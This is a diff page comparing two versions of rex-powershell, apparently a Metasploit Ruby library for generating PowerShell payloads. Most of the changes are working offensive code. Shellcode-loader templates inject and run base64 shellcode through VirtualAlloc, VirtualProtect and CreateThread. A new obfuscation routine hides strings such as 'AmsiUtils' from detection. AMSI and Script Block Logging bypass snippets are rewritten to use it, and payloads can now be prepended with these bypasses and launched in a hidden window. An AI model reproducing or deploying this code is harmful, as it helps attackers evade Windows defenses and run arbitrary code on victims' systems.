rex-powershell 0.1.88 → 0.1.92

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 7f7e56d433cb3f985f7b087092a23ff36fc1b110345e08a4b00c82fcdb1db701
4
- data.tar.gz: df908df4e6d2b7a6d071e3b24320224661385cbe5ea5ad05c6a6c90c6cef1541
3
+ metadata.gz: 546de61fbb5ce6c1291c1c922c68db93a408ae3c1fc339acdabc80d2b905f961
4
+ data.tar.gz: ac1f52f00b5df0ffd34813e5aed34a61ee52da12269173f5a6ff792a01f3c336
5
5
  SHA512:
6
- metadata.gz: 741ca750ba4f1e1654c873580dfeb1181651eb424c8d4d1ccaf4c474c87730c269a515a2e56c56774e4f4ae5671be5fe2c7bf708b43cad6044ceeb06bcbcd0f9
7
- data.tar.gz: a778d9f6c4f375279f1315843b5dbb6766d793a92e34d834d2f3a556b15e6cc35db402e076ba31126e5564f4882bba1421585952d2c4ad3efc7e56e55fdf795b
6
+ metadata.gz: ce407f2b61f7ccecdfc42ce1bf797e68d2ef3b7a88717735da432e92d9cff2c9511b8a1a0639bf987140076da7a0ccd141f2e5588252c11058d49467b033467e
7
+ data.tar.gz: efd9530029b6909fa9c7fe9daff2e59ce5167dbf5b25cb3cf67f816aa5528a7589c4b462516d823d429ce508e74cb6aa3be329157ee95eed1a1269b5bd743bd0
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -0,0 +1,57 @@
1
+ name: Verify
2
+
3
+ on:
4
+ push:
5
+ branches:
6
+ - '*'
7
+ pull_request:
8
+ branches:
9
+ - '*'
10
+
11
+ jobs:
12
+ test:
13
+ runs-on: ubuntu-18.04
14
+ timeout-minutes: 40
15
+
16
+ strategy:
17
+ fail-fast: true
18
+ matrix:
19
+ ruby:
20
+ - 2.5
21
+ - 2.6
22
+ - 2.7
23
+ - 3.0
24
+ test_cmd:
25
+ - bundle exec rspec
26
+
27
+ env:
28
+ RAILS_ENV: test
29
+
30
+ name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
31
+ steps:
32
+ - name: Checkout code
33
+ uses: actions/checkout@v2
34
+
35
+ - uses: actions/setup-ruby@v1
36
+ with:
37
+ ruby-version: ${{ matrix.ruby }}
38
+
39
+ - name: Setup bundler
40
+ run: |
41
+ gem install bundler
42
+ - uses: actions/cache@v2
43
+ with:
44
+ path: vendor/bundle
45
+ key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
46
+ restore-keys: |
47
+ ${{ runner.os }}-gems-
48
+ - name: Bundle install
49
+ run: |
50
+ bundle config path vendor/bundle
51
+ bundle install --jobs 4 --retry 3
52
+ - name: ${{ matrix.test_cmd }}
53
+ run: |
54
+ echo "${CMD}"
55
+ bash -c "${CMD}"
56
+ env:
57
+ CMD: ${{ matrix.test_cmd }}
@@ -5,9 +5,10 @@ $%{var_syscode} = @"
5
5
  namespace %{var_kernel32} {
6
6
  public class func {
7
7
  [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
8
- [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
8
+ [Flags] public enum MemoryProtection { ReadWrite = 0x04, Execute= 0x10 }
9
9
  [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
10
10
  [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
11
+ [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
11
12
  [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
12
13
  [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
13
14
  }
@@ -21,10 +22,14 @@ $%{var_compileParams}.GenerateInMemory = $True
21
22
  $%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
22
23
 
23
24
  [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
25
+ [Uint32]$%{var_opf} = 0
24
26
 
25
- $%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
27
+ $%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ReadWrite)
26
28
  if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
27
29
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
28
- [IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
29
- if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
30
- $%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
30
+
31
+ if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
32
+ [IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
33
+ if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
34
+ $%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
35
+ }
@@ -1,27 +1,29 @@
1
1
  function %{func_get_proc_address} {
2
- Param ($%{var_module}, $%{var_procedure})
3
- $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4
-
5
- return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
2
+ Param ($%{var_module}, $%{var_procedure})
3
+ $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4
+
5
+ return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
6
6
  }
7
7
 
8
8
  function %{func_get_delegate_type} {
9
- Param (
10
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
11
- [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
12
- )
13
-
14
- $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
15
- $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
16
- $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
17
-
18
- return $%{var_type_builder}.CreateType()
9
+ Param (
10
+ [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
11
+ [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
12
+ )
13
+
14
+ $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
15
+ $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
16
+ $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
17
+
18
+ return $%{var_type_builder}.CreateType()
19
19
  }
20
20
 
21
21
  [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
22
-
23
- $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
24
- [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
22
+ [Uint32]$%{var_opf} = 0
23
+ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x04)
25
24
 
26
- $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
27
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
25
+ [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
26
+ if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
27
+ $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
28
+ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
29
+ }
@@ -1,7 +1,7 @@
1
1
  function %{func_rc4_decrypt} {
2
2
  param([Byte[]]$%{var_rc4buffer})
3
3
 
4
- $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
4
+ $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
5
5
 
6
6
  $s = New-Object Byte[] 256;
7
7
  $k = New-Object Byte[] 256;
@@ -123,6 +123,8 @@ module Command
123
123
  # powershell profile (-NoProfile)
124
124
  # @option opts [String] :windowstyle The window style to use
125
125
  # (-WindowStyle)
126
+ # @option opts [String] :version The version of Powershell to run
127
+ # (-version)
126
128
  #
127
129
  # @return [String] Powershell command arguments
128
130
  def self.generate_psh_args(opts)
@@ -157,6 +159,8 @@ module Command
157
159
  arg_string << '-NoProfile ' if value
158
160
  when :windowstyle
159
161
  arg_string << "-WindowStyle #{value} " if value
162
+ when :version
163
+ arg_string << "-Version #{value} " if value
160
164
  end
161
165
  end
162
166
 
@@ -188,6 +192,7 @@ module Command
188
192
  arg_string.gsub!('-OutputFormat ', '-o ')
189
193
  arg_string.gsub!('-Sta ', '-s ')
190
194
  arg_string.gsub!('-WindowStyle ', '-w ')
195
+ arg_string.gsub!('-Version ', '-v ')
191
196
  end
192
197
 
193
198
  # Strip off first space character
@@ -263,6 +268,12 @@ EOS
263
268
  # @param opts [Hash] The options to generate the command
264
269
  # @option opts [Boolean] :persist Loop the payload to cause
265
270
  # re-execution if the shellcode finishes
271
+ # @option opts [String] :prepend A stub of Powershell code to prepend to the
272
+ # payload.
273
+ # @option opts [String] :prepend_inner A stub of Powershell code to prepend to
274
+ # the inner payload.
275
+ # @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
276
+ # bypasses Powershell protections.
266
277
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
267
278
  # before executing the payload
268
279
  # @option opts [String] :method The powershell injection technique to
@@ -302,6 +313,14 @@ EOS
302
313
  fail RuntimeError, 'No Powershell method specified'
303
314
  end
304
315
 
316
+ if opts[:exec_rc4]
317
+ psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
318
+ end
319
+
320
+ if opts[:prepend_inner]
321
+ psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
322
+ end
323
+
305
324
  # Run our payload in a while loop
306
325
  if opts[:persist]
307
326
  fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -317,12 +336,6 @@ EOS
317
336
  end
318
337
 
319
338
  compressed_payload = compress_script(psh_payload, nil, opts)
320
-
321
- if opts[:prepend_protections_bypass]
322
- bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
323
- compressed_payload = bypass_amsi + ";" + compressed_payload
324
- end
325
-
326
339
  encoded_payload = encode_script(psh_payload, opts)
327
340
 
328
341
  # This branch is probably never taken...
@@ -345,6 +358,15 @@ EOS
345
358
  end
346
359
  end
347
360
 
361
+ if opts[:prepend_protections_bypass]
362
+ bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
363
+ smallest_payload = bypass_amsi + ";" + smallest_payload
364
+ end
365
+
366
+ if opts[:prepend]
367
+ smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
368
+ end
369
+
348
370
  if opts[:exec_in_place]
349
371
  final_payload = smallest_payload
350
372
  else
@@ -355,8 +377,8 @@ EOS
355
377
  end
356
378
 
357
379
  command_args = {
358
- noprofile: true,
359
- windowstyle: 'hidden'
380
+ noprofile: true,
381
+ windowstyle: 'hidden'
360
382
  }.merge(opts)
361
383
 
362
384
  if opts[:encode_final_payload]
@@ -12,6 +12,92 @@ module Powershell
12
12
  WHITESPACE_REGEX = Regexp.new(/\s+/)
13
13
  EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
14
14
 
15
+ #
16
+ # Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
17
+ # characters and some punctuation. This routine will use a combination of of techniques including formatting and
18
+ # concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
19
+ #
20
+ # @param [String] string The string value to obfuscate.
21
+ # @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
22
+ # obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
23
+ # obfuscation.
24
+ # @return [String] An obfuscated Powershell expression that evaluates to the specified string.
25
+ def self.scate_string_literal(string, threshold: 0.15)
26
+ # this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
27
+ # 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
28
+ raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
29
+ raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
30
+
31
+ new = original = string
32
+ occurrences = {}
33
+ original.each_char { |char|
34
+ occurrences[char] = 0 unless occurrences.key?(char)
35
+ occurrences[char] += 1
36
+ }
37
+ char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
38
+
39
+ # phase 1
40
+ format = []
41
+ char_subs = 0.0
42
+ while (char_subs / original.length.to_f) < threshold
43
+ orig_char, occurrence_count = char_map.pop
44
+ new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
45
+ format << "'#{orig_char}'"
46
+ char_subs += occurrence_count
47
+ end
48
+
49
+ # phase 2
50
+ concat = "'+'"
51
+ positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
52
+ positions.sort!
53
+ positions.each_with_index do |position, index|
54
+ new = new.insert(position + (index * concat.length), concat)
55
+ end
56
+
57
+ new = "'#{new}'"
58
+ new = "(#{new})" unless threshold == 0
59
+
60
+ final = new
61
+ final << "-f#{format.join(',')}" unless format.empty?
62
+ final = "(#{final})" unless format.empty? && threshold == 0
63
+ final
64
+ end
65
+
66
+ #
67
+ # Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
68
+ #
69
+ # @param [String] string The obfuscated Powershell expression to deobfuscate.
70
+ # @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
71
+ # different routine, then an exception is raised.
72
+ # @return [String] The string literal value.
73
+ def self.descate_string_literal(string)
74
+ string = string.strip
75
+ nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
76
+ string = string[nest_level...-nest_level].strip if nest_level > 0
77
+ format_args = nil
78
+ if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
79
+ format = Regexp.last_match(0)
80
+ format_args = string[format.length..-1].strip
81
+ unless format_args =~ /-f\s*('.',\s*)*('.')/
82
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
83
+ end
84
+ format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
85
+ string = format[1...-1].strip
86
+ end
87
+
88
+ unless string =~ /^'.*'$/
89
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
90
+ end
91
+ string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
92
+ unless format_args.nil? # process all format string operations
93
+ string = string.gsub(/\{\s*\d+\s*\}/) do |index|
94
+ format_args[index[1...-1].to_i]
95
+ end
96
+ end
97
+
98
+ string[1...-1]
99
+ end
100
+
15
101
  #
16
102
  # Remove comments
17
103
  #
@@ -45,6 +131,7 @@ module Powershell
45
131
  # @return [String] code with whitespace stripped
46
132
  def strip_whitespace
47
133
  code.gsub!(WHITESPACE_REGEX, ' ')
134
+ code.strip!
48
135
 
49
136
  code
50
137
  end
@@ -50,10 +50,11 @@ module Powershell
50
50
  # Base64 encode the compressed file contents
51
51
  encoded_stream = Rex::Text.encode_base64(compressed_stream)
52
52
 
53
+
53
54
  # Build the powershell expression
54
55
  # Decode base64 encoded command and create a stream object
55
56
  psh_expression = "$s=New-Object System.IO.MemoryStream(,"
56
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}'));"
57
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
57
58
  # Read & delete the first two bytes due to incompatibility with MS
58
59
  psh_expression << '$s.ReadByte();'
59
60
  psh_expression << '$s.ReadByte();'
@@ -109,7 +110,7 @@ module Powershell
109
110
  # GzipStream operates on the Memory Stream
110
111
  psh_expression << '(New-Object System.IO.MemoryStream(,'
111
112
  # MemoryStream consists of base64 encoded compressed data
112
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}')))"
113
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
113
114
  # Set the GzipStream to decompress its MemoryStream contents
114
115
  psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
115
116
  # Read the decoded, decompressed result into scriptblock contents
@@ -139,8 +140,15 @@ module Powershell
139
140
  #
140
141
  # @return [String] Decompressed powershell code
141
142
  def decompress_code
142
- # Extract substring with payload
143
- encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
143
+ # Extract substring with payload4
144
+ if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
145
+ encoded_stream = Regexp.last_match(1)
146
+ elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
147
+ encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
148
+ else
149
+ raise RuntimeError, 'Failed to identify the base64 data'
150
+ end
151
+
144
152
  # Decode and decompress the string
145
153
  unencoded = Rex::Text.decode_base64(encoded_stream)
146
154
  begin
@@ -37,10 +37,10 @@ module Payload
37
37
  def self.to_win32pe_psh(template_path = TEMPLATE_DIR, code)
38
38
  hash_sub = {}
39
39
  hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
40
- hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
40
+ hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
41
41
  hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
42
42
  hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
43
- hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
43
+ hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
44
44
  hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
45
45
  hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
46
46
 
@@ -55,7 +55,6 @@ module Payload
55
55
  # Originally from PowerSploit
56
56
  #
57
57
  def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
58
- # Intialize rig and value names
59
58
  rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
60
59
  rig.init_var(:func_get_proc_address)
61
60
  rig.init_var(:func_get_delegate_type)
@@ -90,10 +90,13 @@ module Powershell
90
90
  #
91
91
  # @return [String] PowerShell code to bypass AMSI
92
92
  def self.bypass_amsi()
93
- %q{
94
- $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
95
- $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
96
- }
93
+ script = Script.new(<<-PSH
94
+ $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
95
+ $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
96
+ PSH
97
+ )
98
+ script.sub_vars
99
+ script
97
100
  end
98
101
 
99
102
  #
@@ -101,22 +104,28 @@ module Powershell
101
104
  #
102
105
  # @return [String] PowerShell code to bypass Script Block Logging
103
106
  def self.bypass_script_log()
104
- %q{
105
- $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
106
- If($GPF){
107
+ script = Script.new(<<-PSH
108
+ $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
109
+ If ($GPF) {
110
+ $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
111
+ $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
112
+ $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
107
113
  $GPC=$GPF.GetValue($null);
108
- If($GPC['ScriptB'+'lockLogging']){
109
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
110
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
114
+ If($GPC[$SBL]){
115
+ $GPC[$SBL][$EnableSBL]=0;
116
+ $GPC[$SBL][$EnableSBIL]=0;
111
117
  }
112
118
  $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
113
- $val.Add('EnableScriptB'+'lockLogging',0);
114
- $val.Add('EnableScriptB'+'lockInvocationLogging',0);
115
- $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
119
+ $val.Add($EnableSBL,0);
120
+ $val.Add($EnableSBIL,0);
121
+ $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
116
122
  } Else {
117
- [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
123
+ [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
118
124
  }
119
- }
125
+ PSH
126
+ )
127
+ script.sub_vars
128
+ script
120
129
  end
121
130
 
122
131
  #
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.88"
3
+ VERSION = "0.1.92"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.88
4
+ version: 0.1.92
5
5
  platform: ruby
6
6
  authors:
7
7
  - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
93
93
  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
94
  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2020-11-30 00:00:00.000000000 Z
96
+ date: 2021-07-19 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
99
  name: rake
@@ -173,6 +173,7 @@ executables: []
173
173
  extensions: []
174
174
  extra_rdoc_files: []
175
175
  files:
176
+ - ".github/workflows/verify.yml"
176
177
  - ".gitignore"
177
178
  - ".rspec"
178
179
  - ".travis.yml"
metadata.gz.sig CHANGED
@@ -1,2 +1,3 @@
1
- j��C�Q�Q�AJ�1�U�V"};�C�v揠��0�d:��Bl���}^����e�W �8$Db�g I%��O����
2
- �������f\(zJ6b
1
+ �b^��-��Y��B|��a>
2
+ v�Vx~_֚܆�E� άA*:�@�sH�N�+ha<f��q��%Й�-���S���h8���UCS:�@5>��5�|5FSi���F)f�o�ο2͒������.�O��x�q
3
+ �t�X'@9�PRS��O�EE�#�7��-E����@5�#��